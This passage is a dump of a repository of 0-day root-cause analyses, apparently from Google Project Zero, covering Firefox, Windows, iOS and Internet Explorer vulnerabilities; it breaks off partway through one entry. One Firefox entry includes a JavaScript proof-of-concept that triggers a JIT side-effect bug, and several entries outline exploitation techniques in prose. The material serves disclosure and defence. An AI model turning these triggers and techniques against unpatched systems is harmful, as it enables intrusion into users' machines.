├── .gitignore ├── 0day-RCAs ├── 2019 │ ├── CVE-2019-11707.md │ ├── CVE-2019-1367.md │ ├── CVE-2019-13720.md │ ├── CVE-2019-1458.md │ ├── CVE-2019-2215.md │ ├── CVE-2019-7286.md │ └── CVE-2019-7287.md ├── 2020 │ ├── CVE-2019-17026.md │ ├── CVE-2020-0674.md │ ├── CVE-2020-0938.md │ ├── CVE-2020-0986.md │ ├── CVE-2020-1020.md │ ├── CVE-2020-1027.md │ ├── CVE-2020-1380.md │ ├── CVE-2020-15999.md │ ├── CVE-2020-16009.md │ ├── CVE-2020-16010.md │ ├── CVE-2020-17087.md │ ├── CVE-2020-27930.md │ ├── CVE-2020-27932.md │ ├── CVE-2020-27950.md │ ├── CVE-2020-6418.md │ ├── CVE-2020-6572.md │ └── CVE-2020-6820.md ├── 2021 │ ├── CVE-2021-0920.md │ ├── CVE-2021-1048-file-states.png │ ├── CVE-2021-1048.md │ ├── CVE-2021-1647.md │ ├── CVE-2021-1732.md │ ├── CVE-2021-1879.md │ ├── CVE-2021-1905.md │ ├── CVE-2021-21166.md │ ├── CVE-2021-21206.md │ ├── CVE-2021-25337-advisory.png │ ├── CVE-2021-25337.md │ ├── CVE-2021-25369-advisory.png │ ├── CVE-2021-25369.md │ ├── CVE-2021-26411.md │ ├── CVE-2021-26855.md │ ├── CVE-2021-30551.md │ ├── CVE-2021-30632.md │ ├── CVE-2021-30858.md │ ├── CVE-2021-33742.md │ ├── CVE-2021-37975.md │ ├── CVE-2021-38000.md │ ├── CVE-2021-39793.md │ ├── CVE-2021-4102-turbolizer-a.png │ ├── CVE-2021-4102-turbolizer-b.png │ ├── CVE-2021-4102-turbolizer-c.png │ ├── CVE-2021-4102-turbolizer-d.png │ └── CVE-2021-4102.md ├── 2022 │ ├── CVE-2022-1096.md │ ├── CVE-2022-1364.md │ ├── CVE-2022-21882.md │ ├── CVE-2022-22265-advisory.png │ ├── CVE-2022-22265.md │ ├── CVE-2022-22620.md │ ├── CVE-2022-22675.md │ ├── CVE-2022-22675.mp4 │ ├── CVE-2022-2294.md │ ├── CVE-2022-24521.md │ ├── CVE-2022-32917.md │ ├── CVE-2022-3723.md │ ├── CVE-2022-41033.md │ ├── CVE-2022-41073.md │ ├── CVE-2022-41128.md │ ├── CVE-2022-4135.md │ └── CVE-2022-4262.md ├── 2023 │ ├── CVE-2023-20963.md │ ├── CVE-2023-26369.md │ ├── CVE-2023-28252.md │ ├── CVE-2023-33106.md │ ├── CVE-2023-33107.md │ ├── CVE-2023-36033-poc.png │ ├── CVE-2023-36033.md │ ├── CVE-2023-36802.md │ ├── CVE-2023-38831.md │ ├── CVE-2023-4211.md │ └── CVE-2023-6345.md ├── 2024 │ └── CVE-2024-44068.md └── template.md ├── 404.html ├── CONTRIBUTING.md ├── Gemfile ├── Gemfile.lock ├── LICENSE ├── README.md ├── _config.yml ├── _data └── settings.yml ├── _includes ├── footer.html ├── head.html ├── header.html └── rca-table.html ├── _layouts └── rca-home.html ├── about.md ├── index.md └── rca.md /.gitignore: -------------------------------------------------------------------------------- 1 | _site 2 | .sass-cache 3 | .jekyll-cache 4 | .jekyll-metadata 5 | vendor 6 | Gemfile 7 | Gemfile.lock 8 | -------------------------------------------------------------------------------- /0day-RCAs/2019/CVE-2019-11707.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-11707: IonMonkey Type Confusion in Array.Pop 2 | *Samuel Groß, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-07-27)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 18 June 2019 7 | 8 | **Product:** Mozilla Firefox 9 | 10 | **Advisory:** https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/ 11 | 12 | **Affected Versions:** Firefox 67.0.2, likely earlier versions 13 | 14 | **First Patched Version:** Firefox 67.0.3 and Firefox ESR 60.7.1 15 | 16 | **Issue/Bug Report:** 17 | 18 | * Project Zero issue: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 19 | * Firefox issue: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386 20 | 21 | **Patch CL:** https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e 22 | 23 | **Bug-Introducing CL:** Unknown 24 | 25 | **Reporter(s):** Independently, Samuel Groß of Google Project Zero and Coinbase Security 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 30 | 31 | **Exploit sample:** N/A 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** Yes, provided by Coinbase Security 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** Incorrect Speculation Guards in JIT 38 | 39 | **Vulnerability details:** 40 | 41 | See https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 for the full details. 42 | 43 | In essence, the JIT failed to ensure that calling `Array.prototype.pop` would not end up loading an array element from a prototype of the array. This could then be exploited in different ways: 44 | By storing elements of type T1 in the array and of type T2 in the array’s prototype. In that case, Spidermonkey would assume that the call to `pop()` would result in a value of type T1, while at runtime it would result in a value of type T2, thus causing a type confusion. This is how [Fuzzilli](https://github.com/googleprojectzero/fuzzilli) triggered the bug. 45 | 46 | By installing indexed accessors on the prototype. Spidermonkey would assume that the call to `pop()` would be side-effect free, which will then not be the case. The result is a classic incorrect side-effect modelling bug, similar to for example [CVE-2019-9810](https://www.mozilla.org/en-US/security/advisories/mfsa2019-09/#CVE-2019-9810) or [CVE-2018-17463](https://chromereleases.googleblog.com/2018/10/stable-channel-update-for-desktop.html). This is how the bug was exploited in-the-wild. 47 | 48 | **Patch analysis:** N/A 49 | 50 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 51 | 52 | This bug was independently found through fuzzing with Fuzzilli. However, as it is a variant of a popular bug pattern in JIT compilers, it is at least equally likely that it was discovered through manual code analysis. 53 | 54 | **(Historical/present/future) context of bug:** 55 | 56 | Incorrect side-effect modelling bugs in JIT compilers date back at least to early 2018, likely even earlier. They have been found multiple times in all popular engines such as JavaScriptCore, V8, and Spidermonkey. In 2019, before this bug was exploited in-the-wild, another incorrect side effect modelling bug ([CVE-2019-9810](https://www.mozilla.org/en-US/security/advisories/mfsa2019-09/#CVE-2019-9810)) was used against Firefox at pwn2own. 57 | 58 | This vulnerability was chained with [CVE-2019-11708](https://www.mozilla.org/en-US/security/advisories/mfsa2019-19/#CVE-2019-11708), a Firefox sandbox escape according to Coinbase. 59 | 60 | According to Objective-See, macOS already included a signature in XProtect that could detect the malware dropped by the exploit. The signature was added by Apple in 2016 without any public disclosure. 61 | 62 | ## The Exploit 63 | 64 | **Is the exploit method known?** Yes 65 | 66 | **Exploit method:** 67 | 68 | Compiler bug to runtime out-of-bounds array access to type confusion to arbitrary read/write. Similar to other exploits for this type of bug. 69 | 70 | ## The Next Steps 71 | 72 | ### Variant analysis 73 | 74 | **Areas/approach for variant analysis (and why):** Auditing side-effect modelling in JIT Compilers 75 | 76 | **Found variants:** 77 | 78 | Apart from many earlier variants, Spidermonkey suffered from a similar bug that was fixed in early 2020: [CVE-2019-17026](../2020/CVE-2019-17026.md) and v8 also fixed a similar vulnerability in early 2020: [CVE-2020-6418](../2020/CVE-2020-6418.md). Both CVE-2019-17026 and CVE-2020-6418 were also exploited in-the-wild. 79 | 80 | ### Structural improvements 81 | 82 | One possibility is to help fuzzers detect these kinds of bugs by adding instrumentation that ensures no side-effects happen during execution of operations for which the JIT assumes no side-effects. Mozilla implemented a simple version of this with https://github.com/mozilla/gecko-dev/commit/4ca7a9d3ee9c7fe0d432bd3d3e251238a6f71721 which found a non-security variant of this bug pattern: https://bugzilla.mozilla.org/show_bug.cgi?id=1607670 83 | 84 | ### 0-day detection methods 85 | 86 | N/A - Likely hard to detect generically 87 | 88 | ## Other References 89 | April 2019: [Project Zero Issue 1820](https://bugs.chromium.org/p/project-zero/issues/detail?id=1820) 90 | June 2019: [Twitter thread](https://twitter.com/SecurityGuyPhil/status/1141466335592869888) by Philip Martin of Coinbase Security about detecting the exploit 91 | June 2019: [Blogpost on the macOS malware](https://objective-see.com/blog/blog_0x43.html) dropped by the exploit by Objective-See 92 | June 2019: [Twitter thread](https://twitter.com/5aelo/status/1143548622530895873) by Samuel Groß on the ITW exploit -------------------------------------------------------------------------------- /0day-RCAs/2019/CVE-2019-1458.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-1458: Windows win32k uninitialized variable in task switching 2 | *Maddie Stone, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-07-27)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 10 December 2019 7 | 8 | **Product:** Microsoft Windows 9 | 10 | **Advisory:** https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458 11 | 12 | **Affected Versions:** 13 | 14 | * For Windows 10 1607 x64, [KB4525236](https://support.microsoft.com/en-us/help/4525236/windows-10-update-kb4525236) and previous 15 | * For Windows 7 x64, [KB4525233](https://support.microsoft.com/en-us/help/4525233/windows-7-update-kb4525233) and previous 16 | 17 | **First Patched Version:** 18 | 19 | * For Windows 10 1607 x64, [KB4530689](https://support.microsoft.com/en-us/help/4530689/windows-10-update-kb4530689) 20 | * For Windows 7 x64, [KB4530692](https://support.microsoft.com/en-us/help/4530692/windows-7-update-kb4530692) 21 | 22 | **Issue/Bug Report:** N/A 23 | 24 | **Patch CL:** N/A 25 | 26 | **Bug-Introducing CL:** N/A 27 | 28 | **Reporter(s):** Anton Ivanov and Alexey Kulaev of Kaspersky Lab (Thanks to Kaspersky Lab and [@florek_pl](https://twitter.com/florek_pl) for sharing detailed analyses!) 29 | 30 | ## The Code 31 | 32 | **Proof-of-concept:** https://github.com/piotrflorczyk/cve-2019-1458_POC 33 | 34 | **Exploit sample:** N/A 35 | 36 | **Did you have access to the exploit sample when doing the analysis?** No 37 | 38 | ## The Vulnerability 39 | 40 | **Bug class:** Uninitialized variable 41 | 42 | **Vulnerability details:** 43 | 44 | Piotr Florczyk (@florek_pl) did a [full root cause analysis and published it with a proof-of-concept (POC)](https://github.com/piotrflorczyk/cve-2019-1458_POC). 45 | 46 | The bug is that a field, `\*(gpsi + 0x154)`, in a global structure, `tagSERVERINFO`, which defines information about system windows for the operating system, is uninitialized. This then permits a user-space application to set extra window data in the task-switch window (`FNID_SWITCH`, 0x280), which is usually only able to be set by the kernel. This extra window data is a pointer which is then dereferenced and written to. This gives a limited write primitive to an arbitrary memory address. 47 | 48 | **Patch analysis:** N/A 49 | 50 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 51 | 52 | `SetWindowLongPtr` bugs have been very prevalent over the years. Therefore, I think it would be quite easy for a skilled researcher to identify through manual reverse engineering/auditing that the FNID_SWITCH field in gpsi was initially uninitialized and then follow the code path through to see that that would permit the attacker-controlled pointer dereference. Due to the different conditions and the order of system calls, I think it would be more difficult to fuzz this bug rather than manually reverse it. 53 | 54 | **(Historical/present/future) context of bug:** 55 | 56 | Kaspersky Lab found this bug exploited in conjunction with the Chrome 0-day [CVE-2019-13720](CVE-2019-13720.md). The Chrome exploit embedded the exploit for this vulnerability, CVE-2019-1458, as the elevation of privilege. 57 | 58 | This exploit was discovered by Kaspersky in November 2019. Windows 7, which this exploit targeted, was hitting end-of-life in January 2020. It’s possible that the attackers decided to just go ahead and use this exploit even if it was “noisy” or potentially easier to detect, knowing that the EOL was coming. 59 | 60 | ## The Exploit 61 | 62 | **Is the exploit method known?** Yes 63 | 64 | **Exploit method:** 65 | 66 | The details about the exploitation method were posted by Kaspersky Lab in their post [“The Zero Day Exploits of Wizard Opium”](https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/). 67 | 68 | To exploit this bug, a Windows kernel memory corruption, Bitmaps were used to both bypass ASLR and get arbitrary kernel read and write. This post [describes the technique](https://labs.f-secure.com/archive/a-tale-of-bitmaps/) in detail. In their blog post, Kaspersky explains that the exploit supports two different methods for ASLR bypass: 69 | 70 | 1. For older builds, the Bitmap kernel addresses are leaked by the `GdiSharedHandlerTable` 71 | 2. Creating an `AcceleratorTable` object and using `gSharedInfoHandleTable` to leak its kernel address, then freeing the `AcceleratorTable` and allocating a Bitmap in its place. 72 | 73 | To elevate privileges, the exploit steals the system token from the `EPROCESS` object in a project running as `SYSTEM`. This is a known technique that has been documented in many places such as [here](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-1). 74 | 75 | ## The Next Steps 76 | 77 | ### Variant analysis 78 | 79 | **Areas/approach for variant analysis (and why):** 80 | 81 | When patching this bug, Microsoft added initialization for 2 other system window types in addition to `FNID_SWITCH`. There are more than just these system window types so it’d be worth exploring why only these ones were selected for initialization and if: 82 | 1. Any other system window types still have the uninitialized variable vulnerability, or 83 | 2. The other window types who now have initialization have any SetWindowLongPtr vulnerabilities. 84 | 85 | Another interesting area for variant analysis would be in the task switching code. I originally attempted to patch-diff this vulnerability when the patch was first released, but ended up reverse engineering another bug in the task-switching code [[blog post](https://googleprojectzero.blogspot.com/2020/04/tfw-you-get-really-excited-you-patch.html). There appears to be quite a bit of legacy code still in the module. With at least 2 bugs in it in 3 months, and one exploited in the wild, it seems like a ripe area for analysis. 86 | 87 | Note: Project Zero did not perform either of these analyses. 88 | 89 | **Found variants:** N/A 90 | 91 | ### Structural improvements 92 | 93 | This vulnerability was not exploited against the latest Windows release due to mitigations that have been added, such as Win32k lockdown for sandboxed code and they’ve mitigated the two ASLR bypass methods this exploit uses. This shows that Microsoft’s mitigations and structural improvements are working. 94 | 95 | ### 0-day detection methods 96 | 97 | User applications that are creating system windows such as `FNID_SWITCH`. 98 | 99 | ## Other References 100 | * December 2019: [“Windows 0-day exploit CVE-2019-1458 used in Operation WizardOpium”](https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/) by Kaspersky Lab 101 | * March 2020: [Root Cause Analysis and POC of CVE-2019-1458](https://github.com/piotrflorczyk/cve-2019-1458_POC) by florek_pl 102 | * March 2020: [“TFW you-get-really-excited-you-patch-diffed-a-0day-used-in-the-wild-but-then-find-out-it-is-the-wrong-vuln”](https://googleprojectzero.blogspot.com/2020/04/tfw-you-get-really-excited-you-patch.html) by Maddie Stone, process of attempting to patch-diff CVE-2019-1458, but instead analyzing another bug in win32k task switching* 103 | * May 2020: [“The zero-day exploits of Operation WizardOpium”](https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/) by Kaspersky Lab -------------------------------------------------------------------------------- /0day-RCAs/2019/CVE-2019-7286.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-7286: iOS use-after-free in cfprefsd 2 | *Ian Beer, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-07-27)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 7 February 2019 7 | 8 | **Product:** Apple iOS 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT209520 11 | 12 | **Affected Versions:** Exploit targeted iOS 12-12.1 13 | 14 | **First Patched Version:** iOS 12.1.4 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Clement Lecigne of Google's Threat Analysis Group (TAG), Ian Beer & Samuel Groß of Google Project Zero, & an anonymous researcher (according to [Apple's release notes](https://support.apple.com/en-us/HT209520)) 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** N/A 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** use-after-free (UaF) 35 | 36 | **Vulnerability details:** 37 | 38 | cfprefds hosts the com.apple.cfprefsd.daemon XPC service. This service offers a number of operations, including a "multi-message" operation which allows bundling multiple individual operations into one larger message. The vulnerability is in the implementation of this multi-message handling. 39 | 40 | The code allocates an array on the stack and fills it with raw pointers to each of the sub-messages inside the multi-message. It then invokes each message handler, passing a custom reply_handler [block](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/WorkingwithBlocks/WorkingwithBlocks.html) which rather than sending the reply, instead overwrites the raw sub-message pointer in the stack buffer with a retained reply message pointer. 41 | 42 | The code fails to take into account the fact that not all message handlers invoke the reply_handler block, as not all messages send replies. This can leave some slots in the stack buffer containing raw pointers, and some containing retained pointers. xpc_release will be called on each of the entries, dropping an extra reference on the raw pointers which was never obtained leading to a UaF. 43 | 44 | **Patch analysis:** N/A 45 | 46 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 47 | 48 | A manual audit of the service should have found this bug; the dual use of the stack buffer is a sufficiently weird primitive that I think it would have stood out. A generic XPC fuzzer might be able to find it, but I don't think it's necessarily trivially fuzzable because you'd need well-formed XPC objects with the right dictionaries. 49 | 50 | **(Historical/present/future) context of bug:** 51 | 52 | This vulnerability was discovered and reported at the same time as [CVE-2019-7287](CVE-2019-7287.md). Google's TAG discovered a cache of iOS exploit chains being used in the wild. CVE-2019-7286 and CVE-2019-7287 were the only two vulnerabilities that were still 0-days at the time of discovery. This vulnerability, CVE-2019-7286, is the sandbox escape that is paired with CVE-2019-7287, the kernel vulnerability. 53 | 54 | ## The Exploit 55 | 56 | **Is the exploit method known?** Yes 57 | 58 | **Exploit method:** 59 | 60 | This vulnerability is a sandbox escape. It runs as shellcode loaded in a sandboxed WebContent renderer process and gets ROP execution in cfprefsd, a more privileged process. They exploit the UaF using an XPC heap spray to fill the target heap with a fake objective C object with a fake selector cache. When a method is invoked on this object, it will trigger a ROP payload. The ROP stack opens an IOKit userclient mach port and sends it back to the renderer, allowing the shellcode to interact with the kernel driver and exploit a kernel bug ([CVE-2019-7287](CVE-2019-7287.md)). 61 | 62 | ## The Next Steps 63 | 64 | ### Variant analysis 65 | 66 | **Areas/approach for variant analysis (and why):** 67 | 68 | Manual XPC object lifetime management is tricky and there are a few APIs which can be unsafe. Looking for places where xpc_retain/xpc_release are called could be a good start, but they're probably quite common. 69 | 70 | **Found variants:** 71 | 72 | ### Structural improvements 73 | 74 | 75 | ### 0-day detection methods 76 | 77 | A memory sanitizer tool would detect 0-days like this. 78 | 79 | ## Other References 80 | 81 | * March 2019: ["Analysis and Reproduction of iOS/OSX Vunerability: CVE-2019-7286"](https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/) and ["CVE-2019-7286 Part II: Gaining PC Control"](https://blog.zecops.com/vulnerabilities/exploit-of-cve-2019-7286/) by Zecops Research Team 82 | * August 2019: Detailed, technical blog post series about these iOS exploit chains ["A very deep dive into iOS exploit chains found in the wild"](https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html) 83 | -------------------------------------------------------------------------------- /0day-RCAs/2019/CVE-2019-7287.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-7287: iOS Buffer Overflow in ProvInfoIOKitUserClient 2 | *Ian Beer, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-07-27)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 7 February 2019 7 | 8 | **Product:** Apple iOS 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT209520 11 | 12 | **Affected Versions:** iOS 10-12.1.3 13 | 14 | **First Patched Version:** iOS 12.1.4 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Clement Lecigne of Google's Threat Analysis Group (TAG), Ian Beer & Samuel Groß of Google Project Zero, & an anonymous researcher (according to [Apple's release notes](https://support.apple.com/en-us/HT209520)) 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** N/A 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** Heap buffer overflow 35 | 36 | **Vulnerability details:** 37 | 38 | A heap buffer overflow in an external method of an IOKit user client. In the driver pseudocode below the attacker controls the contents of the buffer pointed to by `struct_in`: 39 | 40 | ```c 41 | ProvInfoIOKitUserClient::ucEncryptSUInfo(char* struct_in, 42 | char* struct_out){ 43 | memmove(&struct_out[4], 44 | &struct_in[4], 45 | *(uint32_t*)&struct_in[0x7d4]); 46 | ``` 47 | 48 | The vulnerability is that the size argument to `memmove` is completely attacker controlled and not checked. This leads to kernel heap corruption. 49 | 50 | **Patch analysis:** N/A 51 | 52 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 53 | 54 | A manual audit or fuzzing of the driver should have found this vulnerability. For the fuzzer, it would need to correctly guess the input and output structure sizes, which have to be exact, and would also need to be running outside the app sandbox. 55 | 56 | **(Historical/present/future) context of bug:** 57 | 58 | This vulnerability was discovered and reported at the same time as [CVE-2019-7286](CVE-2019-7286.md). Google TAG discovered a cache of iOS exploit chains being used in the wild. CVE-2019-7286 and CVE-2019-7287 were the only two vulnerabilities that were still 0-days at the time of discovery. Because this vulnerability, CVE-2019-7287, is a kernel vulnerability in a driver not reachable from the WebContent renderer sandbox, it was paired with CVE-2019-7286 in order to get the send right to the user client mach part needed to exploit CVE-20196-7287. 59 | 60 | ## The Exploit 61 | 62 | **Is the exploit method known?** Yes 63 | 64 | **Exploit method:** 65 | 66 | The exploit discovered by TAG used the heap corruption to build an arbitrary kernel memory read and write primitive which they used to defeat codesigning and launch an unsandboxed and unsigned userspace implant binary from /tmp. 67 | 68 | ## The Next Steps 69 | 70 | ### Variant analysis 71 | 72 | **Areas/approach for variant analysis (and why):** 73 | 74 | Analysis of all IOKit external method entrypoints looking for places where attacker-controlled values 75 | are trusted. 76 | 77 | **Found variants:** None 78 | 79 | ### Structural improvements 80 | 81 | The size of the output buffer is statically known, it should be possible to use `memcpy_chk` here. 82 | 83 | ### 0-day detection methods 84 | 85 | A memory sanitizer tool would have detected this exploitation attempt. 86 | 87 | ## Other References 88 | * February 2019: [Analysis of CVE-2019-7287](https://www.antid0te.com/blog/19-02-23-ios-kernel-cve-2019-7287-memory-corruption-vulnerability.html) by Stefan Esser 89 | * August 2019: Detailed, technical blog post series about these iOS exploit chains ["A very deep dive into iOS exploit chains found in the wild"](https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html) 90 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2019-17026.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-17026: Firefox Type Confusion in IonMonkey 2 | *Samuel Groß, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-08-05)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 8 January 2020 7 | 8 | **Product:** Mozilla Firefox 9 | 10 | **Advisory:** https://www.mozilla.org/en-US/security/advisories/mfsa2020-03/ 11 | 12 | **Affected Versions:** 13 | 14 | **First Patched Version:** Firefox 72.0.1 and Firefox ESR 68.4.1 15 | 16 | **Issue/Bug Report:** https://bugzilla.mozilla.org/show_bug.cgi?id=1607443 17 | 18 | **Patch CL:** https://hg.mozilla.org/mozilla-central/rev/d6e40de88f3defdc12ef27e64ca73e120b1f10e2 19 | 20 | **Bug-Introducing CL:** 21 | 22 | * Adding StoreElementHole: https://hg.mozilla.org/mozilla-central/rev/550a780f73aeb23ea958cab93de141376aa12f3a 23 | * Adding FallibleStoreElement: https://hg.mozilla.org/mozilla-central/rev/26e6632de510d91ea6466008d2eda8f4cf25825f 24 | 25 | **Reporter(s):** Qihoo 360 ATA 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** 30 | 31 | The code should print 1337, but on vulnerable versions prints 42. 32 | 33 | ```javascript 34 | // Set this to 10 or so to see correct result 35 | const NUM_ITERATIONS = 2000; 36 | const ARRAY_LENGTH = 100; 37 | 38 | let OBJ = { a: 41 }; 39 | // Need to change property once or IonMonkey 40 | // will assume it's a constant. 41 | OBJ.a = 42; 42 | 43 | let ctr = 0; 44 | function f(obj, idx) { 45 | let v = OBJ.a; 46 | obj[idx] = v; 47 | // In the last iteration, the JIT code will get here without 48 | // bailing out while the StoreElementHole operation above 49 | // unexpectedly invoked a setter because idx -1 is a property. 50 | // As the compiler didn't expect side effects, it does not 51 | // refetch OBJ.a and so returns an incorrect result. 52 | // Causing type confusions is left as an exercise ;) 53 | return OBJ.a; 54 | } 55 | 56 | function main() { 57 | for(let i = 0; i < NUM_ITERATIONS; i++) { 58 | let isLastIteration = i == NUM_ITERATIONS - 1; 59 | let length = ARRAY_LENGTH; 60 | let idx = isLastIteration ? -1 : ARRAY_LENGTH; 61 | 62 | let obj = new Array(length); 63 | Object.defineProperty(obj, '-1', { 64 | set() { 65 | print('Setter called, setting OBJ.a to 1337'); 66 | OBJ.a = 1337; 67 | } 68 | }); 69 | 70 | for (let j = 0; j < length; j++) { 71 | // Array must not be packed or else a flag change 72 | // (indicating non-packed elements) will cause 73 | // invalidation in the last iteration. 74 | if (j == length/2) { 75 | continue; 76 | } 77 | obj[j] = j; 78 | } 79 | 80 | let r = f(obj, idx); 81 | print('Result: ' + r); 82 | } 83 | } 84 | 85 | main(); 86 | ```` 87 | 88 | **Exploit sample:** N/A 89 | 90 | **Did you have access to the exploit sample when doing the analysis?)** No 91 | 92 | ## The Vulnerability 93 | 94 | **Bug class:** Incorrect side-effect modelling in JIT Compiler 95 | 96 | **Vulnerability details:** 97 | 98 | The alias information, which describes what side-effects a JIT MIR operation can have, have been changed for the `StoreElementHole` and `FallibleStoreElement` operations. In particular, they have been generalized so the compiler now assumes that executing one of these two operations can change anything. This implies that the modelling was incorrect previously. This bug is thus one of the “incorrect side-effect modelling” issues frequently found in JIT engines. 99 | 100 | Given the patch, it seems likely that the `StoreElementHole` and `FallibleStoreElement` can cause unexpected execution of arbitrary JavaScript. An immediate thought are indexed accessors in the prototype chain, however, the JIT compiler guards against that. As it turns out, however, the `StoreElementHole` and `FallibleStoreElement` operations will happily accept negative numbers as the index, in which case they end up writing a property and not an element (in JavaScript, elements must have integer-valued keys between 0 and I think 0x7fffffff). As such, a property setter on the property ‘-1’ will pass the JITs requirements about the input objects but will also cause unexpected execution of JavaScript during the `StoreElementHole` operation. 101 | 102 | **Patch analysis:** N/A 103 | 104 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 105 | 106 | Based on how well documented & popular this bug class is, it’s likely someone looked for other instances of this bug class. 107 | 108 | **(Historical/present/future) context of bug:** 109 | 110 | CVE-2019-17026 was seen exploited in the wild with [CVE-2020-0674](CVE-2020-0674.md), an Internet Explorer 0-day. If the target was running Firefox, CVE-2019-17026 was used. 111 | 112 | [CVE-2019-11707](../2019/CVE-2019-11707.md) is a similar type of bug in Spidermonkey that was also exploited in the wild [[P0 1820](https://bugs.chromium.org/p/project-zero/issues/detail?id=1820)]. 113 | 114 | ## The Exploit 115 | 116 | **Is the exploit method known?** N/A 117 | 118 | **Exploit method:** 119 | 120 | Unknown due to not having access to the exploit, but most likely similar to other exploits for this type of bug, such as [CVE-2019-11707](../2019/CVE-2019-11707.md). 121 | 122 | ## The Next Steps 123 | 124 | ### Variant analysis 125 | 126 | **Areas/approach for variant analysis (and why):** 127 | 128 | Same as for [CVE-2019-11707](../2019/CVE-2019-11707.md). 129 | 130 | **Found variants:** 131 | 132 | ### Structural improvements 133 | 134 | Same as for [CVE-2019-11707](../2019/CVE-2019-11707.md). 135 | 136 | ### 0-day detection methods 137 | 138 | Same as for [CVE-2019-11707](../2019/CVE-2019-11707.md). 139 | 140 | ## Other References 141 | * February 2020: [“Darkhotel (APT-C-06) uses the "Double Star" 0Day vulnerability (CVE-2019-17026, CVE-2020-0674) to analyze the APT attack launched by China (translated)”](https://blogs.360.cn/post/apt-c-06_0day.html) by Qihoo 360 Core Security Team 142 | * March 2020: [“Identifying vulnerabilities and protecting you from phishing”](https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/) by Google Threat Analysis Group 143 | * April 2020: [JPCERT advises that attacks exploited Firefox CVE-2019-17026 and IE CVE-2020-0674 vulnerabilities simultaneously](https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html) 144 | * Detailed explanation of the bug class: http://www.phrack.org/papers/jit_exploitation.html 145 | * Similar bugs in Spidermonkey: 146 | + https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/ 147 | + https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 (also exploited in-the-wild) -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-0674.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-0674: Internet Explorer use-after-free in JScript 2 | *Maddie Stone, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-08-05)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 11 February 2020 7 | 8 | **Product:** Microsoft Internet Explorer 9 | 10 | **Advisory:** https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674 11 | 12 | **Affected Versions:** For Windows 10 1903/1909, [KB4528760](https://support.microsoft.com/en-us/help/4528760) and previous 13 | 14 | **First Patched Version:** For Windows 10 1903/1909, [KB4532693](https://support.microsoft.com/en-us/help/4532693/windows-10-update-kb4532693) 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Yi Huang([@C0rk1_H](https://twitter.com/C0rk1_H)) & Kang 